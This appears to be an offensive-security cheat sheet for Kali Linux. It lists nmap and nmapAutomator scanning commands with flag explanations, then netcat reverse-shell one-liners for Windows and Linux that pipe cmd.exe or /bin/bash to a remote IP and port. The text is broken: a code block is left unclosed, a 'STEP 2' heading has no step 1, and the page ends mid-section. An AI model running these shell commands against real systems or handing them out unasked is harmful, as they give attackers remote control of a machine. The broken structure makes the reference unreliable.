<br />

Here you will find a useful collection of commands and file resource locations used in Pentesting operations. This reference is will go hand in hand with Kali Linux.

This is intended to be viewed in the blog found here: [Offensive Security Cheat Sheet](https://totes5706.github.io/Offensive-Security-Cheat-Sheet/)

<br />
 
## NMAP

<br />

```bash
# NMAP
# About: A network scanning tool that identifies devices, ports, services, and operating systems 
# Download: Pre-installed on Kali Linux 

# Usage
nmap -p- --min-rate 5000 -sC -sV {IP ADDRESS}

# UDP Scan
sudo nmap -sU  {IP ADDRESS}

# Flags 
# -p-: scans ALL ports
# --min-rate <number>: Send packets no slower than <number> per second
# -sC: equivalent to --script=default
# -sV: Probe open ports to determine service/version info
# -sU: UDP port scan
```

<br />

## NMAP Automator

<br />

```bash
# NMAP Automator
# About: Useful script that automates multiple enumeration scans in succession
# Download: https://github.com/21y4d/nmapAutomator/blob/master/nmapAutomator.sh

# Usage
./nmapAutomator.sh --host {IP ADDRESS} --type All

# Flags
# --type Network : Shows all live hosts in the host's network (~15 seconds)
# --type	Port    : Shows all open ports (~15 seconds)
# --type	Script  : Runs a script scan on found ports (~5 minutes)
# --type	Full    : Runs a full range port scan, then runs a thorough scan on new ports (~5-10 minutes)
# --type	UDP     : Runs a UDP scan "requires sudo" (~5 minutes)
# --type	Vulns   : Runs CVE scan and nmap Vulns scan on all found ports (~5-15 minutes)
# --type	Recon   : Suggests recon commands, then prompts to automatically run them
# --type	All     : Runs all the scans (~20-30 minutes)

## NC Execute - Server [STEP 2]

```bash
# With netcat installed

# Usage - Windows
nc.exe -e cmd.exe {IP ADDRESS} {PORT}

# Usage - Linux 
nc {IP ADDRESS} {PORT} –e /bin/bash

# ===========================================

# Without netcat installed

# Usage - Windows
